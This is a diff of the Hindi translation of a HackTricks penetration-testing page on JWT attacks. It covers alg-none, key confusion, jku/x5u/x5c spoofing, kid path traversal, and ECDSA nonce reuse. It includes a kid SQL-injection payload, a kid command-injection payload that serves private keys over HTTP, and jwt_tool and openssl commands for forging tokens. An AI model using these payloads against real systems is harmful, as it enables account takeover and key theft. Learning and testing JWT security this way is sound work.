जांचें कि क्या टोकन 24 घंटे से अधिक चलता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो यह देखें कि क्या सर्वर इसे सही से संभाल रहा है।
|
||||
जांचें कि क्या टोकन 24 घंटे से अधिक चलता है... शायद कभी समाप्त नहीं होता। यदि "exp" फील्ड है, तो देखें कि क्या सर्वर इसे सही ढंग से संभाल रहा है।
|
||||
|
||||
### हैश-बल एमएसी सीक्रेट को ब्रूट-फोर्स करें
|
||||
### हैश-फोर्स HMAC गुप्त सीक्रेट
|
||||
|
||||
[**इस पृष्ठ को देखें।**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
[**इस पेज को देखें।**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### एल्गोरिथ्म को नन (CVE-2015-9235) में बदलें
|
||||
### एल्गोरिथ्म को नन बदलें
|
||||
|
||||
उपयोग किए जाने वाले एल्गोरिथ्म को "नन" के रूप में सेट करें और हस्ताक्षर भाग को हटा दें।
|
||||
उपयोग किए जाने वाले एल्गोरिथ्म को "कोई" के रूप में सेट करें और हस्ताक्षर भाग को हटा दें।
|
||||
|
||||
इस वंशानुक्रमिक जांच करने और JWT के भीतर विभिन्न मानों को बदलने के लिए बर्प एक्सटेंशन कॉल "JSON वेब टोकन" का उपयोग करें (अनुरोध को रिपीटर को भेजें और "JSON वेब टोकन" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप यह भी चुन सकते हैं कि "एल्ग" फ़ील्ड के मान को "नन" में डालें)।
|
||||
इस वंशक का उपयोग करने के लिए बर्प एक्सटेंशन कॉल "JSON वेब टोकन" का उपयोग करें और इस दुर्बलता का प्रयास करने के लिए JWT के भीतर विभिन्न मानों को बदलने के लिए (अनुरोध को रिपीटर में भेजें और "JSON वेब टोकन" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप यह भी चुन सकते हैं कि "एल्ग" फील्ड के मान को "कोई" में डालें।)
|
||||
|
||||
### एल्गोरिथ्म को बदलें RS256(असममित) से HS256(सममित) (CVE-2016-5431/CVE-2016-10555)
|
||||
### एल्गोरिथ्म बदलें RS256(असममित्र) से HS256(सममित्र) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
एल्गोरिथ्म HS256 प्रत्येक संदेश को साइन और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।\
|
||||
एल्गोरिथ्म RS256 संदेश को साइन करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
|
||||
एल्गोरिथ्म HS256 प्रत्येक संदेश को हस्ताक्षरित और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।\
|
||||
एल्गोरिथ्म RS256 संदेश को हस्ताक्षरित करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
|
||||
|
||||
यदि आप एल्गोरिथ्म को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी के रूप में सुरक्षित कुंजी का उपयोग करता है और फिर हस्ताक्षर की पुष्टि करने के लिए HS256 एल्गोरिथ्म का उपयोग करता है।
|
||||
|
||||
|
@ -84,25 +84,25 @@ JWT के हस्ताक्षर की जांच करने के
|
|||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
```
|
||||
### हेडर में नया सार्वजनिक कुंजी
|
||||
### हेडर के अंदर नया सार्वजनिक कुंजी
|
||||
|
||||
एक हमलावार टोकन के हेडर में एक नई कुंजी एम्बेड करता है और सर्वर इस नई कुंजी का उपयोग सिग्नेचर सत्यापित करने के लिए करता है (CVE-2018-0114).
|
||||
एक हमलावर टोकन के हेडर में एक नयी कुंजी एम्बेड करता है और सर्वर इस नयी कुंजी का उपयोग सिग्नेचर सत्यापित करने के लिए करता है (CVE-2018-0114).
|
||||
|
||||
इसे "JSON Web Tokens" Burp एक्सटेंशन के साथ किया जा सकता है।\
|
||||
इसे "JSON Web Tokens" Burp extension के साथ किया जा सकता है।\
|
||||
(अनुरोध को Repeater में भेजें, JSON Web Token टैब में "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।
|
||||
|
||||
### JWKS स्पूफिंग
|
||||
|
||||
निर्देश एक विधि का विवरण देते हैं जो JWT टोकनों की सुरक्षा का मूल्यांकन करने के लिए है, विशेष रूप से उनके लिए जो "jku" हेडर क्लेम का उपयोग करते हैं। इस क्लेम को एक JWKS (JSON Web Key Set) फ़ाइल से जोड़ना चाहिए जो टोकन की सत्यापन के लिए आवश्यक सार्वजनिक कुंजी को शामिल करती है।
|
||||
निर्देश एक विधि का विवरण देते हैं जो JWT टोकनों की सुरक्षा का मूल्यांकन करने के लिए है, विशेष रूप से उन टोकनों के लिए जो "jku" हेडर क्लेम का उपयोग करते हैं। यह क्लेम उस JWKS (JSON Web Key Set) फ़ाइल को लिंक करना चाहिए जिसमें टोकन की सत्यापन के लिए आवश्यक सार्वजनिक कुंजी हो।
|
||||
|
||||
* **"jku" हेडर के साथ टोकन का मूल्यांकन करना**:
|
||||
* सुनिश्चित करें कि "jku" क्लेम का URL उचित JWKS फ़ाइल पर पहुंचता है।
|
||||
* टोकन के "jku" मान को बदलकर नियंत्रित वेब सेवा की ओर निर्देशित करने के लिए ट्रैफ़िक अवलोकन करने की अनुमति देने वाला विधान।
|
||||
* टोकन के "jku" मान को बदलकर नियंत्रित वेब सेवा की ओर निर्देशित करने के लिए टोकन को संशोधित करें, जिससे ट्रैफ़िक अवलोकन किया जा सके।
|
||||
* **HTTP इंटरैक्शन के लिए मॉनिटरिंग**:
|
||||
* आपके निर्दिष्ट URL पर HTTP अनुरोधों का अवलोकन करना सर्वर की कोशिशों को सूचित करता है कि वह आपके प्रदत्त लिंक से कुंजियाँ प्राप्त करने का प्रयास कर रहा है।
|
||||
* इस प्रक्रिया के लिए `jwt_tool` का उपयोग करते समय, टेस्टिंग को सुविधाजनक बनाने के लिए अपनी व्यक्तिगत JWKS स्थान को `jwtconf.ini` फ़ाइल में अपडेट करना महत्वपूर्ण है।
|
||||
* **`jwt_tool` के लिए कमांड**:
|
||||
* निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविकता में लाने के लिए `jwt_tool` के साथ दृश्य को नकली करने के लिए निम्नलिखित कमांड को निष्पादित करें:
|
||||
* निम्नलिखित कमांड को नकली दृश्य के साथ वास्तविकता में लाने के लिए निम्नलिखित कमांड का पालन करें `jwt_tool`:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HERE -X s
|
||||
|
@ -110,42 +110,42 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Kid मुद्दों का सारांश
|
||||
|
||||
विशेष रूप से उन परिस्थितियों में जहां टोकन सिग्नेचर सत्यापन के लिए कई कुंजियाँ मौजूद हैं, एक विशेष कुंजी की पहचान के लिए `kid` नामक एक वैकल्पिक हेडर क्लेम का उपयोग किया जाता है। यह क्लेम टोकन के सिग्नेचर सत्यापन के लिए उचित कुंजी का चयन करने में महत्वपूर्ण होता है।
|
||||
एक वैकल्पिक हेडर क्लेम जिसे `kid` के रूप में जाना जाता है, एक विशेष कुंजी की पहचान के लिए प्रयोग किया जाता है, जो टोकन सिग्नेचर सत्यापन के लिए एकाधिक कुंजियों की मौजूदगी में विशेष रूप से महत्वपूर्ण हो जाता है। यह क्लेम टोकन के सिग्नेचर की सत्यापन के लिए उचित कुंजी का चयन करने में मदद करता है।
|
||||
|
||||
#### "kid" के माध्यम से कुंजी का पता लगाना
|
||||
|
||||
जब `kid` क्लेम हेडर में मौजूद होता है, तो संबंधित फ़ाइल या उसके विविधताओं के लिए वेब निर्देशिका में खोज करने की सलाह दी जाती है। उदाहरण के लिए, यदि `"kid":"key/12345"` निर्दिष्ट है, तो फ़ाइल _/key/12345_ और _/key/12345.pem_ की वेब रूट में खोजी जानी चाहिए।
|
||||
जब `kid` क्लेम हेडर में मौजूद होता है, तो सुझाव दिया जाता है कि संबंधित फ़ाइल या उसके विविधताएँ के लिए वेब निर्देशिका में खोज की जाए। उदाहरण के लिए, यदि `"kid":"key/12345"` निर्दिष्ट है, तो फ़ाइल _/key/12345_ और _/key/12345.pem_ की वेब रूट में खोजी जानी चाहिए।
|
||||
|
||||
#### "kid" के साथ पथ ट्रावर्सल
|
||||
#### "kid" के साथ पथ चलन
|
||||
|
||||
`kid` क्लेम का उपयोग फाइल सिस्टम के माध्यम से नेविगेट करने के लिए किया जा सकता है, जिससे किसी भी विचित्र फ़ाइल का चयन करने की संभावना होती है। विशेष फ़ाइलों या सेवाओं को लक्षित करने के लिए `kid` मान को बदलकर कनेक्टिविटी का परीक्षण करना या सर्वर-साइड अनुरोध फर्जी (SSRF) हमले को निष्पादित करने की संभावना है। `jwt_tool` में `kid` मान को बदलने के लिए JWT में हस्ताक्षर को बनाए रखते हुए `-T` ध्वज का उपयोग करके इस प्रक्रिया को प्राप्त किया जा सकता है, जैसा कि नीचे प्रदर्शित किया गया है:
|
||||
`kid` क्लेम का उपयोग फ़ाइल सिस्टम के माध्यम से चलने के लिए भी किया जा सकता है, जिससे किसी भी विचित्र फ़ाइल का चयन करने की संभावना हो सकती है। विशेष फ़ाइलों या सेवाओं को लक्षित करने के लिए `kid` मान को बदलकर कनेक्टिविटी का परीक्षण करना या सर्वर-साइड अनुरोध फर्जी (SSRF) हमले को क्रियाशील करने की संभावना है। `jwt_tool` में `kid` मान को बदलने के लिए JWT में हस्ताक्षर को बनाए रखते हुए `-T` ध्वज का उपयोग करके इस प्रक्रिया को प्राप्त किया जा सकता है, जैसा कि नीचे दिखाया गया है:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
|
||||
|
||||
#### SQL Injection via "kid"
|
||||
#### "kid" के माध्यम से SQL Injection
|
||||
|
||||
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
|
||||
यदि `kid` क्लेम की सामग्री का उपयोग डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो `kid` पेलोड को संशोधित करके SQL इंजेक्शन को सुविधाजनक बनाया जा सकता है। जेडब्ल्यूटी साइनिंग प्रक्रिया को संशोधित करने के लिए एक उदाहरण पेलोड शामिल है:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
|
||||
इस संशोधन से JWT साइनिंग के लिए एक ज्ञात गुप्त कुंजी, `ATTACKER`, का उपयोग करने के लिए बाध्य किया जाता है।
|
||||
|
||||
#### OS Injection through "kid"
|
||||
#### "kid" के माध्यम से ओएस इंजेक्शन
|
||||
|
||||
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
|
||||
एक स्थिति जहाँ `kid` पैरामीटर एक कमांड निष्पादन संदर्भ में उपयोग किए जाने वाले फ़ाइल पथ को निर्दिष्ट करता है, रिमोट कोड निष्पादन (RCE) जोखिमों की ओर ले जा सकता है। `kid` पैरामीटर में कमांड इंजेक्शन करके, निजी कुंजीयों को उजागर करना संभव है। RCE और कुंजी उजागर करने के लिए एक उदाहरण पेलोड है:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5u and jku
|
||||
### x5u और jku
|
||||
|
||||
#### jku
|
||||
|
||||
jku stands for **JWK Set URL**.\
|
||||
If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
|
||||
jku का मतलब है **JWK Set URL**.\
|
||||
यदि टोकन एक “**jku**” **Header** क्लेम का उपयोग करता है तो **प्रदत्त URL की जाँच करें**। यह एक URL पर पोइंट करना चाहिए जिसमें JWKS फ़ाइल होती है जो टोकन को सत्यापित करने के लिए सार्वजनिक कुंजी रखती है। टोकन को तबादला करें ताकि jku मान एक वेब सेवा की ओर पोइंट करे जिस पर आप ट्रैफ़िक का मॉनिटरिंग कर सकते हैं।
|
||||
|
||||
First you need to create a new certificate with new private & public keys
|
||||
सबसे पहले आपको एक नया प्रमाणपत्र बनाना होगा जिसमें नए निजी और सार्वजनिक कुंजी हों।
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -164,28 +164,28 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों का सेट को PEM रूप में एन्कोड करने के लिए पॉइंट करता है। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT को साइन करने के लिए किया गया है। आगामी प्रमाणपत्रों में प्रत्येक पिछले प्रमाणपत्र को साइन करता है, जिससे प्रमाणपत्र श्रृंखला पूरी हो जाती है। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा आवश्यक है।
|
||||
X.509 URL. एक URI जो X.509 (एक प्रमाण पत्र प्रारूप मानक) सार्वजनिक प्रमाण पत्रों का सेट को PEM रूप में कोडित करने के लिए पॉइंट करता है। सेट में पहला प्रमाण पत्र वह होना चाहिए जिसका उपयोग इस JWT को साइन करने के लिए किया गया है। आगामी प्रमाण पत्र पिछले प्रमाण पत्र को हर एक साइन करता है, जिससे प्रमाण पत्र श्रृंखला पूरी हो जाती है। X.509 को RFC 5280 में परिभाषित किया गया है। प्रमाण पत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा आवश्यक है।
|
||||
|
||||
इस हेडर को **अपने नियंत्रण में एक URL में बदलने** का प्रयास करें और देखें कि क्या कोई अनुरोध प्राप्त होता है। उस मामले में आप **JWT को बिगाड़ सकते हैं**।
|
||||
|
||||
आपके नियंत्रण में एक प्रमाणपत्र का उपयोग करके एक नया टोकन जाल सकने के लिए, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजी निकालनी होगी:
|
||||
आपके नियंत्रण में एक प्रमाण पत्र का उपयोग करके एक नया टोकन जाल सकने के लिए, आपको प्रमाण पत्र बनाना होगा और सार्वजनिक और निजी कुंजी निकालनी होगी:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **created public and private keys and pointing the parameter x5u to the certificate .crt created.**
|
||||
तो आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं नए JWT बनाने के लिए **निर्मित सार्वजनिक और निजी कुंजीयों के साथ और पैरामीटर x5u को चिह्नित करते हुए प्रमाणपत्र .crt बनाया गया।**
|
||||
|
||||
![](<../.gitbook/assets/image (953).png>)
|
||||
|
||||
You can also abuse both of these vulns **for SSRFs**.
|
||||
आप इन दोनों दोषों का दुरुपयोग भी कर सकते हैं **SSRFs के लिए**।
|
||||
|
||||
#### x5c
|
||||
|
||||
This parameter may contain the **certificate in base64**:
|
||||
इस पैरामीटर में **बेस64 में प्रमाणपत्र हो सकता है**:
|
||||
|
||||
![](<../.gitbook/assets/image (1116).png>)
|
||||
|
||||
If the attacker **generates a self-signed certificate** and creates a forged token using the corresponding private key and replace the "x5c" parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.
|
||||
अगर हमलावर **स्व-साइन किया गया प्रमाणपत्र उत्पन्न** करता है और उसके संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मान को नए उत्पन्न प्रमाणपत्र से बदल देता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है तो मूल रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -206,7 +206,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
एक नए निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, नए सार्वजनिक कुंजी को टोकन के अंदर समाहित करना और इसका उपयोग एक नया हस्ताक्षर उत्पन्न करने के लिए:
|
||||
एक नए निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, नए सार्वजनिक कुंजी को टोकन के अंदर समाहित करना और इसका उपयोग एक नया हस्ताक्षर उत्पन्न करने के लिए कर सकते हैं:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -226,12 +226,12 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
यदि कुछ एप्लिकेशन ES256 का उपयोग करती हैं और दो JWT जनरेट करने के लिए एक ही नॉन्स का उपयोग करती हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है।
|
||||
|
||||
यहां एक उदाहरण है: [ECDSA: निजी कुंजी का प्रकटीकरण, यदि एक ही नॉन्स का उपयोग किया गया है (SECP256k1 के साथ)](https://asecuritysite.com/encryption/ecd5)
|
||||
यहां एक उदाहरण है: [ECDSA: एक ही नॉन्स का उपयोग करते समय निजी कुंजी का प्रकटीकरण, यदि SECP256k1 का उपयोग किया गया है](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) क्लेम एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। यह टोकन को पुनः चलाने से रोकने के लिए उपयोग किया जा सकता है।\
|
||||
हालांकि, एक स्थिति की कल्पना करें जहां आईडी की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही आईडी का उपयोग करेंगे। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर आईडी को बढ़ा रहा है तो आप इसका दुरुपयोग कर सकते हैं **एक अनुरोध पुनः चलाने के लिए** (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता है)।
|
||||
हालांकि, एक स्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है तो आप इसका दुरुपयोग कर सकते हैं **एक अनुरोध को पुनः चलाने के लिए** (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता है)।
|
||||
|
||||
### JWT पंजीकृत दावे
|
||||
|
||||
|
@ -241,23 +241,23 @@ JTI (JWT ID) क्लेम एक JWT टोकन के लिए एक अ
|
|||
|
||||
**क्रॉस-सर्विस रिले अटैक**
|
||||
|
||||
यह देखा गया है कि कुछ वेब एप्लिकेशन अपने टोकन का उत्पादन और प्रबंधन के लिए एक विश्वसनीय JWT सेवा पर निर्भर हैं। उन घटनाओं को दर्ज किया गया है जहां एक टोकन, जो एक ग्राहक के लिए JWT सेवा द्वारा उत्पन्न किया गया था, उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया था। यदि तीसरे पक्ष की सेवा के माध्यम से एक JWT का जारी किया जाना या नवीकरण देखा जाता है, तो उसी उपयोगकर्ता के लिए एक खाते पर साइन अप करने की संभावना होनी चाहिए जिसमें एक ही उपयोगकर्ता नाम/ईमेल का उपयोग किया जा रहा है। फिर उस टारगेट को एक अनुरोध में प्राप्त टोकन को पुनः चलाने का प्रयास किया जाना चाहिए।
|
||||
कुछ वेब एप्लिकेशनों पर ध्यान दिया गया है कि वे अपने टोकनों का उत्पादन और प्रबंधन करने के लिए एक विश्वसनीय JWT सेवा पर निर्भर हैं। उन्होंने देखा गया है कि एक टोकन, जो JWT सेवा द्वारा एक ग्राहक के लिए उत्पन्न किया गया था, उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया था। यदि तीसरे पक्ष की सेवा के माध्यम से एक JWT का जारी किया जाना या नवीकरण देखा जाता है, तो उसी उपयोगकर्ता के लिए एक खाता खोलने की संभावना होनी चाहिए जिसमें एक ही उपयोगकर्ता नाम/ईमेल का उपयोग किया जा रहा है। फिर उस लक्ष्य को एक अनुरोध में पुनः चलाने के लिए प्राप्त टोकन को पुनः चलाने का प्रयास किया जाना चाहिए।
|
||||
|
||||
* आपके टोकन को स्वीकृति मिलने पर एक गंभीर मुद्दा संकेतित हो सकता है, जो किसी भी उपयोगकर्ता के खाते का धोखा देने की संभावना है। हालांकि, यह ध्यान देने योग्य है कि तीसरे पक्ष एप्लिकेशन पर परीक्षण की अधिक अनुमति की आवश्यकता हो सकती है, क्योंकि यह कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है।
|
||||
* आपके टोकन को स्वीकृति मिलने पर एक महत्वपूर्ण मुद्दा संकेतित हो सकता है, जो किसी भी उपयोगकर्ता के खाते का धोखा देने की संभावना है। हालांकि, यह ध्यान देने योग्य है कि यदि तीसरे पक्ष एप्लिकेशन पर साइन अप करने के लिए अधिक टेस्टिंग की अनुमति चाहिए, क्योंकि यह कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है।
|
||||
|
||||
**टोकन की समय सीमा की जांच**
|
||||
|
||||
टोकन की समय सीमा "exp" पेयलोड दावा का उपयोग करके जांची जाती है। जबकि JWTs अक्सर सत्र सूचना के बिना प्रयुक्त होते हैं, सावधान व्यवस्था की आवश्यकता होती है। अक्सर, किसी अन्य उपयोगकर्ता के JWT को पकड़कर और पुनः चलाने की अनुमति देने से उस उपयोगकर्ता का अनुकरण संभव हो सकता है। JWT RFC टोकन के लिए एक समय सीमा सेट करने के लिए "exp" दावा का उपयोग करके JWT पुनः चलाने के हमलों को कम करने की सिफारिश करता है। इसके अतिरिक्त, एप्लिकेशन द्वारा इस मूल्य की प्रसंस्करण और समय सीमा समाप्त हो गए टोकन की अस्वीकृति सुनिश्चित करने के लिए उचित जांचों का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएं अनुमति देती हैं, तो टोकन को संग्रहित करना और समय सीमा समाप्त होने के बाद इसे पुनः चलाने की सिफारिश की जाती है। टोकन की सामग्री, समय चिह्नांकन और समाप्ति की जांच (समय चिह्नांकन UTC में) को jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है।
|
||||
टोकन की समय सीमा "exp" पेयलोड दावा का उपयोग करके जांची जाती है। जबकि जेडब्ल्यूटी अक्षमता के बिना अक्सर JWT का उपयोग किया जाता है, सावधान व्यवस्था की आवश्यकता होती है। अक्सर, दूसरे उपयोगकर्ता के JWT को कैप्चर करना और पुनः चलाना उस उपयोगकर्ता का अनुकरण करने की संभावना बना सकता है। JWT RFC टोकन के लिए एक समय सीमा सेट करने के लिए "exp" दावा का उपयोग करके JWT पुनः चलाने हमलों को कम करने की सिफारिश करता है। इसके अतिरिक्त, एप्लिकेशन द्वारा इस मूल्य की प्रसंस्करण और समय सीमा समाप्त हो गए टोकनों की अस्वीकृति सुनिश्चित करने के लिए उचित जांचों का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएं अनुमति देती हैं, तो टोकन को स्टोर करना और समय सीमा समाप्त होने के बाद इसे पुनः चलाने की सिफारिश की जाती है। टोकन की सामग्री, समय चिह्नांकन और समाप्ति की जांच (समय चिह्नांक UTC में) को jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है।
|
||||
|
||||
* एक सुरक्षा जोखिम मौजूद हो सकता है यदि एप्लिकेशन अब भी टोकन की पुष्टि करता है, क्योंकि यह इसका संकेत दे सकता है कि टोकन कभी समाप्त नहीं हो सकता।
|
||||
* एक सुरक्षा जोखिम मौजूद हो सकता है यदि एप्लिकेशन अब भी टोकन की पुष्टि करता है, क्योंकि यह इस संकेत का अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता।
|
||||
|
||||
### उपकरण
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जरुरी है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है_)
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -267,10 +267,10 @@ JTI (JWT ID) क्लेम एक JWT टोकन के लिए एक अ
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी कंपनी का **विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर** **फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github repos को PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,21 +4,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
